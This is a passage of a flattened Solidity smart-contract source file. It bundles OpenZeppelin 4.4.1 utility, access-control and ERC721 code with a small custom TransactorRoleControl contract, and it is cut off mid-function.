*/
interface IAccessControlEnumerable is IAccessControl {
/**
* @dev Returns one of the accounts that have `role`. `index` must be a
* value between 0 and {getRoleMemberCount}, non-inclusive.
*
* Role bearers are not sorted in any particular way, and their ordering may
* change at any point.
*
* WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure
* you perform all queries on the same block. See the following
* https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post]
* for more information.
*/
function getRoleMember(bytes32 role, uint256 index) external view returns (address);
/**
* @dev Returns the number of accounts that have `role`. Can be used
* together with {getRoleMember} to enumerate all bearers of a role.
*/
function getRoleMemberCount(bytes32 role) external view returns (uint256);
}
// File: @openzeppelin/contracts@4.4.1/utils/Counters.sol
// OpenZeppelin Contracts v4.4.1 (utils/Counters.sol)
pragma solidity ^0.8.0;
/**
* @title Counters
* @author Matt Condon (@shrugs)
* @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number
* of elements in a mapping, issuing ERC721 ids, or counting request ids.
*
* Include with `using Counters for Counters.Counter;`
*/
library Counters {
struct Counter {
// This variable should never be directly accessed by users of the library: interactions must be restricted to
// the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
unchecked {
counter._value += 1;
}
}
function decrement(Counter storage counter) internal {
uint256 value = counter._value;
require(value > 0, "Counter: decrement overflow");
unchecked {
counter._value = value - 1;
}
}
function reset(Counter storage counter) internal {
counter._value = 0;
}
}
// File: @openzeppelin/contracts@4.4.1/utils/Strings.sol
// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File: @openzeppelin/contracts@4.4.1/utils/Context.sol
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: @openzeppelin/contracts@4.4.1/utils/Address.sol
// OpenZeppelin Contracts v4.4.1 (utils/Address.sol)
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts@4.4.1/token/ERC721/IERC721Receiver.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol)
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// File: @openzeppelin/contracts@4.4.1/utils/introspection/IERC165.sol
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: @openzeppelin/contracts@4.4.1/utils/introspection/ERC165.sol
// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// File: @openzeppelin/contracts@4.4.1/access/AccessControl.sol
// OpenZeppelin Contracts v4.4.1 (access/AccessControl.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module that allows children to implement role-based access
* control mechanisms. This is a lightweight version that doesn't allow enumerating role
* members except through off-chain means by accessing the contract event logs. Some
* applications may benefit from on-chain enumerability, for those cases see
* {AccessControlEnumerable}.
*
* Roles are referred to by their `bytes32` identifier. These should be exposed
* in the external API and be unique. The best way to achieve this is by
* using `public constant` hash digests:
*
* ```
* bytes32 public constant MY_ROLE = keccak256("MY_ROLE");
* ```
*
* Roles can be used to represent a set of permissions. To restrict access to a
* function call, use {hasRole}:
*
* ```
* function foo() public {
* require(hasRole(MY_ROLE, msg.sender));
* ...
* }
* ```
*
* Roles can be granted and revoked dynamically via the {grantRole} and
* {revokeRole} functions. Each role has an associated admin role, and only
* accounts that have a role's admin role can call {grantRole} and {revokeRole}.
*
* By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means
* that only accounts with this role will be able to grant or revoke other
* roles. More complex role relationships can be created by using
* {_setRoleAdmin}.
*
* WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to
* grant and revoke this role. Extra precautions should be taken to secure
* accounts that have been granted it.
*/
abstract contract AccessControl is Context, IAccessControl, ERC165 {
struct RoleData {
mapping(address => bool) members;
bytes32 adminRole;
}
mapping(bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
/**
* @dev Modifier that checks that an account has a specific role. Reverts
* with a standardized message including the required role.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/
*
* _Available since v4.1._
*/
modifier onlyRole(bytes32 role) {
_checkRole(role, _msgSender());
_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IAccessControl).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) public view override returns (bool) {
return _roles[role].members[account];
}
/**
* @dev Revert with a standard message if `account` is missing `role`.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/
*/
function _checkRole(bytes32 role, address account) internal view {
if (!hasRole(role, account)) {
revert(
string(
abi.encodePacked(
"AccessControl: account ",
Strings.toHexString(uint160(account), 20),
" is missing role ",
Strings.toHexString(uint256(role), 32)
)
)
);
}
}
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) public view override returns (bytes32) {
return _roles[role].adminRole;
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_grantRole(role, account);
}
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_revokeRole(role, account);
}
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been revoked `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) public virtual override {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event. Note that unlike {grantRole}, this function doesn't perform any
* checks on the calling account.
*
* [WARNING]
* ====
* This function should only be called from the constructor when setting
* up the initial roles for the system.
*
* Using this function in any other way is effectively circumventing the admin
* system imposed by {AccessControl}.
* ====
*
* NOTE: This function is deprecated in favor of {_grantRole}.
*/
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
/**
* @dev Sets `adminRole` as ``role``'s admin role.
*
* Emits a {RoleAdminChanged} event.
*/
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
bytes32 previousAdminRole = getRoleAdmin(role);
_roles[role].adminRole = adminRole;
emit RoleAdminChanged(role, previousAdminRole, adminRole);
}
/**
* @dev Grants `role` to `account`.
*
* Internal function without access restriction.
*/
function _grantRole(bytes32 role, address account) internal virtual {
if (!hasRole(role, account)) {
_roles[role].members[account] = true;
emit RoleGranted(role, account, _msgSender());
}
}
/**
* @dev Revokes `role` from `account`.
*
* Internal function without access restriction.
*/
function _revokeRole(bytes32 role, address account) internal virtual {
if (hasRole(role, account)) {
_roles[role].members[account] = false;
emit RoleRevoked(role, account, _msgSender());
}
}
}
// File: @openzeppelin/contracts@4.4.1/access/AccessControlEnumerable.sol
// OpenZeppelin Contracts v4.4.1 (access/AccessControlEnumerable.sol)
pragma solidity ^0.8.0;
/**
* @dev Extension of {AccessControl} that allows enumerating the members of each role.
*/
abstract contract AccessControlEnumerable is IAccessControlEnumerable, AccessControl {
using EnumerableSet for EnumerableSet.AddressSet;
mapping(bytes32 => EnumerableSet.AddressSet) private _roleMembers;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IAccessControlEnumerable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev Returns one of the accounts that have `role`. `index` must be a
* value between 0 and {getRoleMemberCount}, non-inclusive.
*
* Role bearers are not sorted in any particular way, and their ordering may
* change at any point.
*
* WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure
* you perform all queries on the same block. See the following
* https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post]
* for more information.
*/
function getRoleMember(bytes32 role, uint256 index) public view override returns (address) {
return _roleMembers[role].at(index);
}
/**
* @dev Returns the number of accounts that have `role`. Can be used
* together with {getRoleMember} to enumerate all bearers of a role.
*/
function getRoleMemberCount(bytes32 role) public view override returns (uint256) {
return _roleMembers[role].length();
}
/**
* @dev Overload {_grantRole} to track enumerable memberships
*/
function _grantRole(bytes32 role, address account) internal virtual override {
super._grantRole(role, account);
_roleMembers[role].add(account);
}
/**
* @dev Overload {_revokeRole} to track enumerable memberships
*/
function _revokeRole(bytes32 role, address account) internal virtual override {
super._revokeRole(role, account);
_roleMembers[role].remove(account);
}
}
// File: contracts/TransactorRoleControl.sol
pragma solidity ^0.8.0;
abstract contract TransactorRoleControl is AccessControlEnumerable {
bytes32 public constant TRANSACTOR_ROLE = keccak256("TRANSACTOR_ROLE");
constructor() {
_setupRole(DEFAULT_ADMIN_ROLE, _msgSender());
}
modifier onlyTransactor {
require(hasRole(TRANSACTOR_ROLE, _msgSender()), "TransactorRoleControl: Caller doesn't have transactorRole");
_;
}
function isTransactor(address account) external view returns(bool) {
return hasRole(TRANSACTOR_ROLE, account);
}
function addTransactor(address account) public {
require(account!= address(0), "The address cannot be a null value");
grantRole(TRANSACTOR_ROLE, account);
}
function removeTransactor(address account) public {
revokeRole(TRANSACTOR_ROLE, account);
}
}
// File: @openzeppelin/contracts@4.4.1/token/ERC721/IERC721.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol)
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// File: @openzeppelin/contracts@4.4.1/token/ERC721/extensions/IERC721Enumerable.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Enumerable.sol)
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// File: @openzeppelin/contracts@4.4.1/token/ERC721/extensions/IERC721Metadata.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: @openzeppelin/contracts@4.4.1/token/ERC721/ERC721.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/ERC721.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
_setApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
